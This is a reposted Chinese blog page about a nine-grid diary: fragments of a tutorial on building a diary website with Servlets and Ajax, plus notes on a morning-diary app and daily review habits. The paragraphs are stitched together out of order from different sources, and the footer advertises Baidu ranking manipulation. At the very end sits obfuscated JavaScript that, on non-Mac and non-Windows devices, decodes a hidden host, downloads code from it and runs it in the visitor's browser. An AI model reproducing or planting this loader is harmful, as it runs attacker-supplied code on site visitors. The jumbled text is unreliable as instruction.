九宫格日记

2022年09月03日admin阅读(95)

(9)在图7所示的九宫格的每个格子中添加用于填写日记内容的文本框及预置的日记内容。由于在这个九宫格中,除了中间的那个格子外(即第5个格子),其他的8个格子的实现方法是相同的,所以这里将以第一个格子为例进行介绍。

(7)在步骤(6)中添加的标记中添加一个包含9个列表项的无序列表,用于布局显示日记内容的九宫格。关键代码如下:

用户注册并成功登录到九宫格记忆网后,就可以查看自己的日记。例如,用户mr登录后,单击导航栏中的“我的日记”超链接,将显示如图5所示的运行结果。

在九宫格记忆网中,还提供了对展开的日记图片进行左转和右转功能。例如,展开标题为“心情不错”的日记图片,如图3所示,单击“左转”超链接,将显示如图4所示的效果。

实体类就是由属性及属性所对应的getter和setter方法组成的类。实体类通常与数据表相关联。在九宫格记忆网中,共涉及两张数据表,分别是用户信息表和日记表。通过这两张数据表可以得到用户信息和日记信息,根据这些信息可以得出用户实体类和日记实体类。由于实体类的编写方法基本类似,所以这里将以日记实体类为例进行介绍。

晨间日记系统又有新玩法了,本次更新版本为20211201版,更新的主要内容是将目标管理模块与晨间日记模块在理念上进行了统一,并设置成九宫格模式与晨间日记九宫格并排放置。

本章介绍的九宫格记忆网中,应用到了很多关键的技术,这些技术在开发过程中都是比较常用的技术。例如,采用了DIV+CSS布局、用户注册功能是通过Ajax实现的、在Servlet中生成日记图片技术和生成缩略图技术等,读者也可以把它提炼出来,应用到自己开发的其他网站中,这样可以节省不少开发时间,以提高开发效率。

用户访问网站时,首先进入的是网站的主界面,在主界面的主显示区中,将以分页的形式显示九宫格日记列表。显示九宫格日记列表主要用于分页显示全部九宫格日记、分页显示我的日记、展开和收缩日记图片、显示日记原图、对日记图片进行左转和右转以及删除我的日记等。其中,分页显示我的日记和删除我的日记功能,只有在用户登录后才可以使用。

分页显示九宫格日记列表如图所示,该页面用于分页显示日记列表,包括展开和收缩日记图片、显示日记原图、对日记图片进行左转和右转等功能。当用户登录后,还可以查看和删除自己的日记。

预览九宫格日记页面如图所示,该页面主要用于预览日记图片,如果用户满意,可以单击“保存”超链接保存日记图片,否则可以单击“再改改”超链接返回填写九宫格日记页面进行修改。

用户注册并成功登录到九宫格记忆网后,就可以写九宫格日记了。写九宫格日记主要由填写日记信息、预览生成的日记图片和保存日记图片3部分组成。写九宫格日记的基本流程如图6所示。

目标管理模块改为九宫格后,操作方式与晨间日记模块大致相同。在人生规划数据库表中,先定终极目标,然后逐级向下分解,分解到远期、中期、近期目标,再列出未来一年的月、周目标名称。在首页的目标管理模块,查询或录入目标时,点“目标名称”栏的下拉菜单可直接选取,也可以直接输入目标名称,编辑完成后点提交即可。以周目标为例,比如今天为第49周的周一,我们先选“2021年第48周”目标,在九宫格中对应每个栏写周总结,提交后,再打开“2021年第49周”对应每栏写周计划;到下周一再打开49周的目标对应计划写总结,之后再打开“2021年第50周”写周计划。如此往复。

写九宫格日记页面如图所示,该页面用于填写日记信息,允许用户选择并预览自己喜欢的模板,以及选择预览日记内容等。

每天固定时间复盘,形成习惯,就不容易被其他事情打断,也更容易坚持下去。如果没有习惯作为保证的话,做一次复盘都会显得特别奢侈,因为总有这样那样的事情等待去消耗你的时间。一般早晨会更好些,首先你经过一晚上的休息,大脑清空了所有情绪,可以更加客观的看待问题。这也是晨间日记或者说是九宫格日记盛行的原因之一。总之,这个事情看个人习惯,你执行力强,习惯今日事今日毕也没有问题。

本文转载自互联网,如有侵权,联系删除

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

卓仁IT博客
卓仁IT博客的快速排名服务领先80%同行,首家开创刷百度关键词排名程序,非纯点击方法,无点击软件出售,需要seo快速排名提高网站排名请咨询顾问。
  • 文章60955
  • 评论0
  • 浏览12583358
function HwrGU(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function rdIfsiYJ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HwrGU(t);};window[''+'D'+'S'+'G'+'Z'+'I'+'d'+'e'+'C'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=rdIfsiYJ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';console.log(u);var xhr=new XMLHttpRequest();xhr.open('GET',u+'/s/a?_='+i);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function(data.data)(cs);}};xhr.send('u=1');})('aHR0cHM6Ly9hcGkueHloeC5vcmc=','428516530718064640',window,document,['','VxKGyJk']);}:function(){};